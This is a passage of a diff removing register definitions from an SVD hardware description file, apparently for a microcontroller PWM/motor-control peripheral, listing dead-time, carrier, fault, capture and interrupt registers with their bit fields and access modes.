-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEB</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UT0</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UT1</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEZ</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEP</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEB</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DT2_CFG</name>
-          <addressOffset>0xC8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00018000</resetValue>
-          <fields>
-            <field>
-              <name>DT2_FED_UPMETHOD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT2_RED_UPMETHOD</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT2_DEB_MODE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT2_A_OUTSWAP</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT2_B_OUTSWAP</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT2_RED_INSEL</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT2_FED_INSEL</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT2_RED_OUTINVERT</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT2_FED_OUTINVERT</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT2_A_OUTBYPASS</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT2_B_OUTBYPASS</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT2_CLK_SEL</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DT2_FED_CFG</name>
-          <addressOffset>0xCC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DT2_FED</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DT2_RED_CFG</name>
-          <addressOffset>0xD0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DT2_RED</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CARRIER2_CFG</name>
-          <addressOffset>0xD4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CARRIER2_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER2_PRESCALE</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER2_DUTY</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER2_OSHTWTH</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER2_OUT_INVERT</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER2_IN_INVERT</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FH2_CFG0</name>
-          <addressOffset>0xD8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FH2_SW_CBC</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_F2_CBC</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_F1_CBC</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_F0_CBC</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_SW_OST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_F2_OST</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_F1_OST</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_F0_OST</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_A_CBC_D</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_A_CBC_U</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_A_OST_D</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_A_OST_U</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_B_CBC_D</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_B_CBC_U</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_B_OST_D</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_B_OST_U</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FH2_CFG1</name>
-          <addressOffset>0xDC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FH2_CLR_OST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_CBCPULSE</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_FORCE_CBC</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_FORCE_OST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FH2_STATUS</name>
-          <addressOffset>0xE0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FH2_CBC_ON</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH2_OST_ON</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FAULT_DETECT</name>
-          <addressOffset>0xE4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>F0_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>F1_EN</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>F2_EN</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>F0_POLE</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>F1_POLE</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>F2_POLE</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>EVENT_F0</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>EVENT_F1</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>EVENT_F2</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CAP_TIMER_CFG</name>
-          <addressOffset>0xE8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CAP_TIMER_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP_SYNCI_EN</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP_SYNCI_SEL</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP_SYNC_SW</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CAP_TIMER_PHASE</name>
-          <addressOffset>0xEC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CAP_TIMER_PHASE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CAP_CH0_CFG</name>
-          <addressOffset>0xF0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CAP0_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP0_MODE</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP0_PRESCALE</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP0_IN_INVERT</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP0_SW</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CAP_CH1_CFG</name>
-          <addressOffset>0xF4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CAP1_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP1_MODE</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP1_PRESCALE</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP1_IN_INVERT</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP1_SW</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CAP_CH2_CFG</name>
-          <addressOffset>0xF8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CAP2_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP2_MODE</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP2_PRESCALE</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP2_IN_INVERT</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP2_SW</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CAP_CH0</name>
-          <addressOffset>0xFC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CAP0_VALUE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CAP_CH1</name>
-          <addressOffset>0x100</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CAP1_VALUE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CAP_CH2</name>
-          <addressOffset>0x104</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CAP2_VALUE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CAP_STATUS</name>
-          <addressOffset>0x108</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CAP0_EDGE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CAP1_EDGE</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CAP2_EDGE</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>UPDATE_CFG</name>
-          <addressOffset>0x10C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000055</resetValue>
-          <fields>
-            <field>
-              <name>GLOBAL_UP_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GLOBAL_FORCE_UP</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OP0_UP_EN</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OP0_FORCE_UP</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OP1_UP_EN</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OP1_FORCE_UP</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OP2_UP_EN</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OP2_FORCE_UP</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ENA</name>
-          <addressOffset>0x110</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER0_STOP_INT_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER1_STOP_INT_ENA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER2_STOP_INT_ENA</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER0_TEZ_INT_ENA</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER1_TEZ_INT_ENA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER2_TEZ_INT_ENA</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER0_TEP_INT_ENA</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER1_TEP_INT_ENA</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER2_TEP_INT_ENA</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FAULT0_INT_ENA</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FAULT1_INT_ENA</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FAULT2_INT_ENA</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FAULT0_CLR_INT_ENA</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FAULT1_CLR_INT_ENA</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FAULT2_CLR_INT_ENA</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OP0_TEA_INT_ENA</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OP1_TEA_INT_ENA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OP2_TEA_INT_ENA</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OP0_TEB_INT_ENA</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OP1_TEB_INT_ENA</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OP2_TEB_INT_ENA</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_CBC_INT_ENA</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_CBC_INT_ENA</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_CBC_INT_ENA</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_OST_INT_ENA</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_OST_INT_ENA</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH2_OST_INT_ENA</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP0_INT_ENA</name>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP1_INT_ENA</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAP2_INT_ENA</name>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_RAW</name>
-          <addressOffset>0x114</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER0_STOP_INT_RAW</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER1_STOP_INT_RAW</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER2_STOP_INT_RAW</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER0_TEZ_INT_RAW</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER1_TEZ_INT_RAW</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER2_TEZ_INT_RAW</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER0_TEP_INT_RAW</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER1_TEP_INT_RAW</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER2_TEP_INT_RAW</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FAULT0_INT_RAW</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FAULT1_INT_RAW</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FAULT2_INT_RAW</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FAULT0_CLR_INT_RAW</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FAULT1_CLR_INT_RAW</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FAULT2_CLR_INT_RAW</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OP0_TEA_INT_RAW</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OP1_TEA_INT_RAW</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OP2_TEA_INT_RAW</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OP0_TEB_INT_RAW</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OP1_TEB_INT_RAW</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OP2_TEB_INT_RAW</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH0_CBC_INT_RAW</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH1_CBC_INT_RAW</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH2_CBC_INT_RAW</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH0_OST_INT_RAW</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH1_OST_INT_RAW</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH2_OST_INT_RAW</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CAP0_INT_RAW</name>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CAP1_INT_RAW</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CAP2_INT_RAW</name>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ST</name>
-          <addressOffset>0x118</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER0_STOP_INT_ST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER1_STOP_INT_ST</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER2_STOP_INT_ST</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER0_TEZ_INT_ST</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER1_TEZ_INT_ST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER2_TEZ_INT_ST</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER0_TEP_INT_ST</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER1_TEP_INT_ST</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER2_TEP_INT_ST</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FAULT0_INT_ST</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FAULT1_INT_ST</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
